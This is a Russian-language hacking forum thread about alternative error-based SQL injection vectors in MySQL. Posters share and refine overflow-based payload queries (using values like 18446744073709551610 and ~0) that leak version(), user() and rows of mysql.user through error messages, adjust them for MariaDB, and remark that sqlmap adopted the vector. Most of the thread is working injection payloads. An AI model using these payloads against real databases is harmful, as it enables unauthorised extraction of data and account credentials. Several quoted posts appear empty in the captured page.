![]() |
MySQL: Альтернативные error-based векторы
Всем привет! Шокирующая рубрика продолжается, а значит придется вновь делать невозможное!
Сегодня на повестке дня альтернативные error-based векторы. Это очень важная и актуальная тема. Об одном из них сейчас я хотел бы рассказать поподробнее. Буду краток, вектор основывается на ошибке переполнения типа данных (не обязательно целого): PHP код:
PHP код:
Код:
mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610)); Код:
mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from test.shop limit 1), 18446744073709551610, 18446744073709551610);ERROR Код:
mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1) < (1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2), 18446744073709551610, 18446744073709551610); |
Данный вектор не работает на старых версиях. Максимальная длина ошибки задается в файле mysys/my_error.c:
Код:
/* Max length of a error message. Should be kept in sync with MYSQL_ERRMSG_SIZE. */ |
На форке MariaDB в ошибке подзапросы не выводятся:
Код:
mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610)) Код:
mysql> SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a; |
Немного укоротил запросы (убрал лишние скобки, заменил представление числа) и добавил полезных символов при выводе:
Вывод информации Цитата:
Цитата:
Узнаем имена колонок в таблице Цитата:
Цитата:
Цитата:
Цитата:
|
Отлично.Только фишка этого запроса:
Цитата:
Чем меньше символов в начале и чем больше в конце, тем лучше: Цитата:
Код:
mysql> select (select * from mysql.user)=1; |
Цитата:
Если так хочетцо перенести число в конец, то так и делаем (на всякий случай оставим вторую двойку) Цитата:
|
very nice brother! but what is 1E308 and this HEX 18446744073709551610. ?
|
Цитата:
Цитата:
|
Цитата:
zuzzz, Да, варианты можно плодить, но от подзапроса не избавишься. Как наиболее короткий (и без пробелов) (?): Код:
mysql> select!x-~0.FROM(select+user()x)f; |
Stampar добавил вектор в sqlmap
https://github.com/sqlmapproject/sql...756f88e7aa5468 |
Часовой пояс GMT +3, время: 06:41. |
Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2022, Jelsoft Enterprises Ltd. Перевод: zCarot